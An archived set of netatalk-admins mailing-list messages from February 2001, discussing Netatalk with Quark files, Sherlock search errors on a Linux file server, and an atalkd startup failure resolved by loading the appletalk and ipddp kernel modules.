	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13469
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 08:05:34 -0500 (EST)
Received: from pantheon-po04.its.yale.edu (pantheon-po04.its.yale.edu [130.132.143.35])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA13451
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 08:05:33 -0500 (EST)
Received: from morpheus.cis.yale.edu (morpheus.cis.yale.edu [130.132.143.248])
	by pantheon-po04.its.yale.edu (8.8.8/8.8.8) with ESMTP id IAA11835
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 08:05:39 -0500 (EST)
Received: from localhost (nlw4@localhost)
	by morpheus.cis.yale.edu (8.9.3+Sun/8.9.3) with ESMTP id IAA15682
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 08:05:09 -0500 (EST)
X-Authentication-Warning: morpheus.cis.yale.edu: nlw4 owned process doing -bs
Date: Thu, 8 Feb 2001 08:05:09 -0500 (EST)
From: "Radar O'Reilly" <nathan.willard@yale.edu>
X-X-Sender:  <nlw4@morpheus.cis.yale.edu>
To: <netatalk-admins@umich.edu>
Subject: Re: Netatalk for a publishing house
In-Reply-To: <NEBBKOOBGMIFDPLLKFLDEEBICLAA.thomasj@scoregroup.com>
Message-ID: <Pine.GSO.4.32.0102080804160.15456-100000@morpheus.cis.yale.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 8 Feb 2001, Jerry Thomas wrote:

> think it is really an issue for us.  We mainly use quark and photoshop to
> publish the magazines.  Are there any other issues with the Netatalk that
> may get me fired?

Traditionally, netatalk hasn't played nicely with quark files (especially large
ones). Extensive testing is recommended in a situation like yours.

 __________/| Nathan "Radar" Willard MC '00     | "A Sucking Chest Wound is
(_|__|_____\|________      PO Box 203927        |   nature's way of telling
     |_|_____________)- New Haven, CT 06520     |     you to slow down."


From netatalk.administrators-errors@umich.edu  Thu Feb  8 10:17:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA05169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 10:17:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03623
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 10:17:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03601
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 10:17:40 -0500 (EST)
Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03557
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 10:17:39 -0500 (EST)
Received: from fwd04.sul.t-online.com 
	by mailout04.sul.t-online.com with smtp 
	id 14QspG-0004fo-01; Thu, 08 Feb 2001 16:17:38 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.220]) by fmrl04.sul.t-online.com
	with esmtp id 14QspD-0dYI9gC; Thu, 8 Feb 2001 16:17:35 +0100
Mime-Version: 1.0
Message-Id: <a05010402b6a85b80bf8c@[192.168.0.33]>
In-Reply-To: 
 <Pine.GSO.4.32.0102080804160.15456-100000@morpheus.cis.yale.edu>
References: 
 <Pine.GSO.4.32.0102080804160.15456-100000@morpheus.cis.yale.edu>
Date: Thu, 8 Feb 2001 15:23:42 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: Netatalk for a publishing house
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA05169

>On Thu, 8 Feb 2001, Jerry Thomas wrote:
>
>>  think it is really an issue for us.  We mainly use quark and photoshop to
>>  publish the magazines.  Are there any other issues with the Netatalk that
>>  may get me fired?
>
>Traditionally, netatalk hasn't played nicely with quark files 
>(especially large
>ones). Extensive testing is recommended in a situation like yours.

since I'm using the -pre 39 I've no problems using Quark, PageMaker, 
Freehand, Photoshop ... We've handled files with some 100 MBs without 
problems. The only thing is, that changing a file or foldername in 
the finder can occur some ID-Problems - changing them with "save as" 
works fine.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Thu Feb  8 10:21:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA05258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 10:21:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA08904
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 10:21:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA08895
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 10:21:03 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA08419
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 10:21:01 -0500 (EST)
Received: (qmail 13385 invoked by uid 104); 8 Feb 2001 15:20:46 -0000
Received: from cwg-dated-1c3d47bb1fd82104@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.296911 secs); 08/02/2001 09:20:45
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-1c3d47bb1fd82104@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 8 Feb 2001 15:20:45 -0000
Received: (qmail 5359 invoked by alias); 8 Feb 2001 15:20:44 -0000
From: "Chris Garrigues" <cwg-dated-1c3d47bb1fd82104@deepeddy.com>
Received: (qmail 5333 invoked from network); 8 Feb 2001 15:20:44 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <walt@terrascope.com@fixme>; 8 Feb 2001 15:20:44 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Walt Reed <walt@terrascope.com>
Cc: netatalk-admins@umich.edu
Subject: Re: "Another process changed the volume during the search..." 
In-Reply-To: <3A81FC20.CCFAC0D1@terrascope.com> 
References: <26803.981586966@deepeddy.com> <3A81E31D.5C4FB8B@terrascope.com> <16355.981592570@deepeddy.com> <3A81FC20.CCFAC0D1@terrascope.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2020923342P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 08 Feb 2001 09:20:43 -0600
Message-ID: <5329.981645643@deepeddy.com>
Mail-Reply-To: cwg-dated-1c3d47bb1fd82104@DeepEddy.Com

--==_Exmh_-2020923342P
Content-Type: text/plain; charset=us-ascii

> From:  Walt Reed <walt@terrascope.com>
> Date:  Wed, 07 Feb 2001 17:53:36 -0800
>
> hmm.. i thought you could do an index like that, but it seems you can't anymore, that's
> too bad.
> found this in the help menu:
> "Mounted servers, CD-ROM discs, and read-only disks...do not appear in the Index
> Volumes window."  it goes on to say that you can index it "directly on the shared
> volume", which i assume means only if it's a mac, and directly from it's console.  you
> can get the contextual menu to give you the option (hold down the "ctrl" and click on
> the volume from the finder) to index, but it doesn't work.  sorry about that.
> 
> i'd still check his system & make sure he's running 9.0.4.  turn off samba if you
> aren't using it, or at least turn it off for now, to eliminate it from the equation.
> is the problem intermitant?  i tried to do a sherlock search here (i did 2 @ the same
> time from different machines) and found it slow, but it worked, and my users telnet,
> ftp, samba, etc.  do your users open files directly from the server, or do they use
> local copies and update the server (or is there a version control software running)?
> i'm wondering if a file could be getting locked or updated as you said.  one of the
> most insidious problems i've had to deal w/ is users trying to include fonts off the
> server in adobe type manager rather than copying them to the local drive, resulting in
> weird startup problems, but that's a whole 'nother issue...
> 
> other than that, all i can think of is to make sure nfs isn't somehow on.  i know it
> can lock files that are in use.
> 
> will keep looking into it.

Thanks.  More data:  Everybody there is having this problem. About half of the 
machines are running 9.1 and the other half will be doing so as well soon.

I've just stopped samba and nfs and have asked him to let me know if it helps.

They do open files directly on the server.  I'm not sure exactly what 
applications they use, but they're an advertising firm if that gives a clue.  
This problem didn't occur when they were using a Mac server.

I'll post again when I know if turning off samba and nfs helped.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-2020923342P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6grlLK9b4h5R0IUIRApTxAKCFLyWqfrV3pr1RRZh/tcNicUqi7ACdEH9q
yfNdFNeKF1sBT8SaK8dU/Z8=
=UULd
-----END PGP SIGNATURE-----

--==_Exmh_-2020923342P--

From netatalk.administrators-errors@umich.edu  Thu Feb  8 11:11:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06239
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 11:11:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19843
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 11:11:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19831
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 11:11:03 -0500 (EST)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA19782
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:11:01 -0500 (EST)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id KAA23587
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 10:12:47 -0600
Date: Thu, 8 Feb 2001 10:12:47 -0600 (CST)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: netatalk-admins@umich.edu
Subject: Help
Message-ID: <Pine.LNX.4.10.10102081010480.23585-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



I am running redhat 6.2  and magically for soem reason when i start
netatalk i get this error from /usr/sbin/atalkd:

socket: Invalid argument
socket: Invalid argument
atalkd: can't get interfaces, exiting.


I have tried the new tar file and the old rpm...


Why is it dieing?? It worked like a week ago?


-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------


From netatalk.administrators-errors@umich.edu  Thu Feb  8 11:34:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07080
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 11:34:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19879
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 11:34:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19856
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 11:34:15 -0500 (EST)
Received: from server.deanox.com (ns1.deanox.com [209.197.23.235])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA19801
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:34:13 -0500 (EST)
Received: from rygar.deanox.com (rygar.deanox.com [209.197.23.237])
	by server.deanox.com (8.9.3/8.8.7) with SMTP id JAA23557;
	Thu, 8 Feb 2001 09:34:07 -0700
Message-Id: <3.0.6.32.20010208093417.0091a800@server.deanox.com>
X-Sender: faxguy@server.deanox.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Thu, 08 Feb 2001 09:34:17 -0700
To: Chris Murley <murley@appindex.net>, netatalk-admins@umich.edu
From: Lee Howard <faxguy@deanox.com>
Subject: Re: Help
In-Reply-To: <Pine.LNX.4.10.10102081010480.23585-100000@cage.whatazoo.co
 m>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 10:12 AM 2/8/01 -0600, Chris Murley wrote:
>
>
>I am running redhat 6.2  and magically for soem reason when i start
>netatalk i get this error from /usr/sbin/atalkd:
>
>socket: Invalid argument
>socket: Invalid argument
>atalkd: can't get interfaces, exiting.
>
>
>I have tried the new tar file and the old rpm...
>
>
>Why is it dieing?? It worked like a week ago?

I'd bet that either the Appletalk module isn't loading or it's not
built-into the kernel.

Lee Howard


From netatalk.administrators-errors@umich.edu  Thu Feb  8 11:39:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07297
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 11:39:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09125
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 11:39:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09094
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 11:39:49 -0500 (EST)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA09028
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:39:47 -0500 (EST)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id KAA23709;
	Thu, 8 Feb 2001 10:41:31 -0600
Date: Thu, 8 Feb 2001 10:41:31 -0600 (CST)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: Lee Howard <faxguy@deanox.com>
cc: netatalk-admins@umich.edu
Subject: Re: Help
In-Reply-To: <3.0.6.32.20010208093417.0091a800@server.deanox.com>
Message-ID: <Pine.LNX.4.10.10102081041001.23707-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

But i have done a modprobe appletalk, and is does load.... 

This exact setup was working 2 days ago.


-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------

On Thu, 8 Feb 2001, Lee Howard wrote:

> At 10:12 AM 2/8/01 -0600, Chris Murley wrote:
> >
> >
> >I am running redhat 6.2  and magically for soem reason when i start
> >netatalk i get this error from /usr/sbin/atalkd:
> >
> >socket: Invalid argument
> >socket: Invalid argument
> >atalkd: can't get interfaces, exiting.
> >
> >
> >I have tried the new tar file and the old rpm...
> >
> >
> >Why is it dieing?? It worked like a week ago?
> 
> I'd bet that either the Appletalk module isn't loading or it's not
> built-into the kernel.
> 
> Lee Howard
> 


From netatalk.administrators-errors@umich.edu  Thu Feb  8 11:40:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07331
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 11:40:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09883
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 11:40:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09857
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 11:40:17 -0500 (EST)
Received: from paperboy.sixforty.co.uk (paperboy.sixforty.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA09786
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:40:14 -0500 (EST)
Received: (from root@localhost)
	by paperboy.sixforty.co.uk (8.11.1/8.11.1) id f18Ge3071457
	for netatalk-admins@umich.edu; Thu, 8 Feb 2001 16:40:03 GMT
	(envelope-from lawrence@epcdirect.co.uk)
Delivered-To: <netatalk-admins@umich.edu>
Received: from lfarr (daisy.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.sixforty.co.uk (8.11.1/8.11.1av) with SMTP id f18Ge0b71446
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 16:40:00 GMT
	(envelope-from lawrence@epcdirect.co.uk)
From: "Lawrence Farr" <lawrence@epcdirect.co.uk>
To: "Netatalk-Admins" <netatalk-admins@umich.edu>
Subject: RE: Netatalk for a publishing house
Date: Thu, 8 Feb 2001 16:39:57 -0000
Message-ID: <NDBBJNMBOLGAIICJIEIGIENDDNAA.lawrence@epcdirect.co.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <a05010402b6a85b80bf8c@[192.168.0.33]>
X-Virus-Scanned: by AMaViS perl-10

Can you be more specific as to the problems caused?

Lawrence Farr
EPC Direct Limited mailto:lawrence@epcdirect.co.uk
T:01179666123 F:01179666111 M:07970780901

> -----Original Message-----
> From: Jürgen Weltzer [mailto:weltzer@werbeagentur-weltzer.de]
> Sent: 08 February 2001 14:24
> To: netatalk-admins@umich.edu
> Subject: Re: Netatalk for a publishing house
>
>
> >On Thu, 8 Feb 2001, Jerry Thomas wrote:
> >
> >>  think it is really an issue for us.  We mainly use quark and
> photoshop to
> >>  publish the magazines.  Are there any other issues with the
> Netatalk that
> >>  may get me fired?
> >
> >Traditionally, netatalk hasn't played nicely with quark files
> >(especially large
> >ones). Extensive testing is recommended in a situation like yours.
>
> since I'm using the -pre 39 I've no problems using Quark, PageMaker,
> Freehand, Photoshop ... We've handled files with some 100 MBs without
> problems. The only thing is, that changing a file or foldername in
> the finder can occur some ID-Problems - changing them with "save as"
> works fine.
> --
> Viele Grüße
> Jürgen Weltzer
>
> - - - - - - - - - - - - - - - - - - -
> Werbeagentur Weltzer
> Max-Eyth-Straße 8
> 71065 Sindelfingen
> Tel. +49 (0) 70.31.81.32.31
> Fax +49 (0) 70.31.81.16.01
> http://www.w-ww.de/
> - - - - - - - - - - - - - - - - - - -
>
> Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
> patch to an 8 bit operating system originally coded for a 4 bit
> microprocessor, written by a 2 bit company, that can't stand 1 bit of
> competition
>
>


From netatalk.administrators-errors@umich.edu  Thu Feb  8 11:56:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07729
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 11:56:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05062
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 11:56:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05036
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 11:56:02 -0500 (EST)
Received: from dante.kinkaid.org (dante.kinkaid.org [207.80.142.250])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA04993
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:56:01 -0500 (EST)
Received: from [172.16.70.70] (cmorillo.kinkaid.org [172.16.70.70])
	by dante.kinkaid.org (8.10.2/8.10.2) with ESMTP id f18HdiM04700
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 11:39:44 -0600
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Thu, 08 Feb 2001 10:56:00 -0600
Subject: Re: Help
From: Crystal <cmorillo@kinkaid.org>
To: Netatalk Admins List <netatalk-admins@umich.edu>
Message-ID: <B6A82BC0.498F%cmorillo@kinkaid.org>
In-Reply-To: <Pine.LNX.4.10.10102081041001.23707-100000@cage.whatazoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 2/8/01 10:41 AM, Chris Murley at murley@appindex.net wrote:

> But i have done a modprobe appletalk, and is does load....
> 
> This exact setup was working 2 days ago.
> 
> 
> -Chris

Type ifconfig and see what information comes up on the interface(s). Does it
already have an EtherTalk address assigned to it?

C.


From netatalk.administrators-errors@umich.edu  Thu Feb  8 12:11:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08048
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 12:11:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10676
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 12:11:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10648
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 12:11:44 -0500 (EST)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA10613
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 12:11:43 -0500 (EST)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id LAA23889;
	Thu, 8 Feb 2001 11:13:21 -0600
Date: Thu, 8 Feb 2001 11:13:21 -0600 (CST)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: Crystal <cmorillo@kinkaid.org>
cc: Netatalk Admins List <netatalk-admins@umich.edu>
Subject: Re: Help
In-Reply-To: <B6A82BC0.498F%cmorillo@kinkaid.org>
Message-ID: <Pine.LNX.4.10.10102081112110.23880-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have it working, thanks to jeff, i hade to run:

modprobe ipddp so i added that to my init scripts... now i get a wierd
erroer int he messages file:

Feb  8 11:06:50 rhfsrv1 afpd[24871]: refused connect from 209.247.231.69
Feb  8 11:06:50 rhfsrv1 afpd[24871]: dsi_getsess: No such file ordirectory

Why would the connection be refused?

and what is dsi_getsess?



-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------

On Thu, 8 Feb 2001, Crystal wrote:

> on 2/8/01 10:41 AM, Chris Murley at murley@appindex.net wrote:
> 
> > But i have done a modprobe appletalk, and is does load....
> > 
> > This exact setup was working 2 days ago.
> > 
> > 
> > -Chris
> 
> Type ifconfig and see what information comes up on the interface(s). Does it
> already have an EtherTalk address assigned to it?
> 
> C.
> 



From netatalk.administrators-errors@umich.edu  Thu Feb  8 12:19:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 12:19:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 12:19:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10080
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 12:19:05 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA10065
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 12:19:04 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id MAA23156;
	Thu, 8 Feb 2001 12:19:03 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A82D49F.64EB6742@univrel.pr.uconn.edu>
Date: Thu, 08 Feb 2001 12:17:19 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: Chris Murley <murley@appindex.net>
Subject: [Fwd: Re: netatalk problem]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-------- Original Message --------
Subject: Re: netatalk problem
Date: Thu, 8 Feb 2001 11:09:27 -0600 (CST)
From: Chris Murley <murley@appindex.net>
To: jeff <jeff@univrel.pr.uconn.edu>

Great thanks your gith, that did it... i had to specifically load
modprobe
ipddp

so i added that to the init script. Thanks for the fast help.

It was odd because this was all working 2 days ago... somethign must
have
changed on my system.

Nowwhen i try to connect i get this in the messages log:

Feb  8 11:06:50 rhfsrv1 afpd[24871]: refused connect from 209.247.231.69
Feb  8 11:06:50 rhfsrv1 afpd[24871]: dsi_getsess: No such file
ordirectory


Why would the connection be refused?

and what is dsi_getsess?



-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------

On Thu, 8 Feb 2001, jeff wrote:

> Chris Murley wrote:
> > 
> > Hello, I was hoping you could help me.
> > 
> > I am using the lastest tar ball of netatalk, i was using the 1.4b2 version
> > of the rpm. Eveythign has been working great but suddeny; today i noticred
> > that whaen i run /usr/sbin/atalkd i get this error:
> > 
> > socket: Invalid argument
> > socket: Invalid argument
> > atalkd: can't get interfaces, exiting.
> > 
> > The same error occurs with both versions. I've looked in the faq and found
> > nothing, can you tellme why this would happen?
> 
> You need to make sure the appletalk kernel module is installed. You can
> check the list archives for netatalk-admins@umich.edu for the exact
> command to make the appletalk module load automatically, but "modprobe
> appletalk" should do it. ("modprobe ipddp" allows Appleshare-over-IP to
> be enabled, if run after the first command.)
> 
> jeff
>

From netatalk.administrators-errors@umich.edu  Thu Feb  8 13:27:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA12135
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 13:27:15 -0500 (EST)
Received: (from daemon@localhost)
